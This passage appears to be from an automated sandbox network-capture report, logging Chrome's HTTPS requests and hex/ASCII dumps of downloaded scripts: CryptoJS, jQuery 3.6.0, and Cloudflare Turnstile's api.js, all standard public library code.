2025-01-08 16:18:28 UTC	406	IN	Data Raw: 37 62 65 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7be6!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 Data Ascii: ypeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 Data Ascii: one.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomB
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 Data Ascii: ==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 Data Ascii: for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 Data Ascii: 1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 Data Ascii: uffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringi
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c Data Ascii: =r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKL
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f Data Ascii: abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o
2025-01-08 16:18:28 UTC	1369	IN	Data Raw: 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c Data Ascii: [39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49723	151.101.2.137	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:28 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:28 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 08 Jan 2025 16:18:28 GMT Age: 1837634 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740066-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 1 X-Timer: S1736353109.556681,VS0,VE1 Vary: Accept-Encoding
2025-01-08 16:18:28 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-08 16:18:28 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-01-08 16:18:28 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-01-08 16:18:28 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-01-08 16:18:28 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-01-08 16:18:28 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49725	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:29 UTC	383	OUT	GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:29 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Thu, 02 Jan 2025 13:52:36 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8fed80f4e9cd41e3-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:29 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
